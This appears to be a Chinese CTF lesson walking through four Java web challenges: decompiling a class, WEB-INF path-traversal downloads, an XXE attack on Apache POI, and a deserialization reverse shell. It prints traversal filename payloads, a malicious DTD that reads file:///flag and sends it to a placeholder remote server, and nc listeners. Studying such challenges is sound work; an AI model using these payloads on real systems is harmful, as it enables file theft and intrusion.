85:CTF奪旗-JAVA考點反編譯&XXE&反序列化


思維導圖

Java常考點及出題思路

考點技術:xxe,spel表達式,反序列化,文件安全,最新框架插件漏洞等

設法間接給出源碼或相關配置提示文件,間接性源碼或直接源碼體現等形式

CTF中常見Web源碼泄露總結(參考:https://www.cnblogs.com/xishaonian/p/7628153.html)

  1. .ng源碼泄露
  2. git源碼泄露
  3. .Ds_store文件泄漏
  4. 網站備份壓縮文件
  5. SVN導致文件泄露
  6. WEB-INF/web. xml泄露
  7. CVS泄漏

Java必備知識點

反編譯,基礎的Java代碼認知及審計能力,熟悉相關最新的漏洞,常見漏洞等

本課重點:

  • 案例1:Java簡單逆向解密-Reverse-buuoj-逆向源碼
  • 案例2:RoarCTF-2019-easy_java-配置到源碼
  • 案例3:網鼎杯2020-青龍組-filejava-ctfhub-配置到源碼
  • 案例4:網鼎杯-朱雀組-Web-think_java-直接源碼審計

案例1:Java簡單逆向解密-Reverse-buuoj-逆向源碼

靶場地址:https://buuoj.cn/challenges#Java逆向解密

知識點:java項目格式解析,加解密腳本等

下載提示文件-class反編譯Java文件-加密算法-解密腳本

<1>下載附件,將源碼用idea打開,分析加密算法,得知加密算法時是將原始key先加64再異或32得到加密后的key,如下圖所示。

<2>自己編寫一個解密算法,將加密后的key先異或32再減64,得到原始key。

案例2:RoarCTF-2019-easy_java-配置到源碼

靶場地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java

知識點:下載漏洞利用,配置文件解析,Javaweb項目結構等

提示-下載漏洞-更換請求方法-獲取源碼配置文件-指向Flag-下載class-反編譯

WEB-INF主要包含以下文件或目錄:

  • /WEB-INF/web.xml:web應用程序配置文件,描述了servlet和其他的應用組件配置及命名規則。
  • /WEB-INF/classes/:包含了站點所有用的class文件,包括servlet class和非servlet class,他們不能包含在.jar文件中
  • /WEB-INF/lib/:存放web應用需要的各種JAR文件,放置僅在這個應用中要求使用的jar文件,如數據庫驅動jar文件
  • /WEB-INF/src/:源碼目錄,按照包名結構放置各個java文件。
  • /WEB-INF/database.properties:數據庫配置文件

漏洞檢測以及利用方法:通過找到web.xml文件,推斷class文件的路徑,最后直接查看或下載class文件,再通過反編譯class文件,得到網站源碼

<1>進入場景,是個登錄框

<2>點擊help,顯示如下,url為/Download?filename=help.docx,猜測有任意文件下載漏洞。

 

<3>嘗試下載/WEB-INF/web.xml文件,失敗。

<4>改為post請求方法提交,成功下載(這腦洞有點大,此后下載均用post)。

<5>根據web.xml內容,找到與Flag相關class,嘗試下載,下載成功

POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

 

<6>反編譯class文件,得到網站源碼,找到base64編碼后的flag。

<7>經過base64解碼,得到flag。

案例3:網鼎杯2020-青龍組-filejava-ctfhub-配置到源碼

https://xz.aliyun.com/t/7272 一篇文章讀懂Java代碼審計之XXE
https://www.jianshu.com/p/73cd11d83c30 Apache POI XML外部實體(XML External Entity,XXE)攻擊詳解
https://blog.spoock.com/2018/10/23/java-xxe/ JAVA常見的XXE漏洞寫法和防御
https://www.cnblogs.com/tr1ple/p/12522623.html Java XXE漏洞典型場景分析

靶場地址:https://www.ctfhub.com/#/challenge 搜索FileJava

過關思路:
JavaWeb程序,編譯class格式,配置文件獲取文件路徑信息,IDEA打開查看
../../../../WEB-INF/web.xml
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
代碼審計Javaweb代碼,發現flag位置,文件下載獲取?過濾,利用漏洞XXE安全

<1>頁面打開如下,是一個文件上傳功能。

<2>隨便上傳一個文件,發現返回一個文件下載鏈接。

<3>點擊文件下載,看到請求包格式,猜測有任意文件下載漏洞。

<4>構造filename值,嘗試下載/WEB-INF/web.xml文件,下載成功

<5>根據/WEB-INF/web.xml文件內容,找到class文件,全部下載

filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

<6>idea反編譯class文件,得到網站源碼,分析源碼,發現文件下載時過濾flag關鍵字,因此不能在此處直接下載flag文件。

<7>繼續分析源碼,找到poi-ooxml-3.10,該版本存在XXE漏洞(CVE-2014-3529)

<8>構造上傳文件

(a)本地新建excel-aaa.xlsx文件,修改后綴名.zip,打開壓縮包,其中有[Content-Types].xml文件。

 (b)修改[Content-Types].xml,第二行添加如下內容,保存。

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://遠程服務器IP:3333/xxx.dtd">
%remote;%int;%send;
]>

(c)將修改后的壓縮包重新修改后綴為.xlsx文件

<9>構造遠程監控

(a)進入遠程服務器WEB根目錄,創建文件xxx.dtd,添加內容

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM '遠程服務器IP:3333/%file;'>">

(b)啟動監控 :nc -lvvp 3333

<10>一切准備就緒,上傳excel-aaa.xlsx文件

<11>查看nc監聽結果,得到flag

案例4:網鼎杯-朱雀組-Web-think_java-直接源碼審計

靶場地址:https://www.ctfhub.com/\#/challenge

解題思路:

  • 注入判斷,獲取管理員帳號密碼
  • /swagger-ui.html接口測試,回顯序列化token(rO0AB開頭)
  • SerializationDumper工具生成反序列化payload(反彈shell)-->base64編碼-->最終payload
  • 使用該payload訪問接口/common/user/current
  • 啟動監聽,獲取flag:nc -lvvp 4444

具體解題步驟參考:38:WEB漏洞-反序列化之PHP&JAVA全解(下)(https://www.cnblogs.com/zhengna/p/15737517.html)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM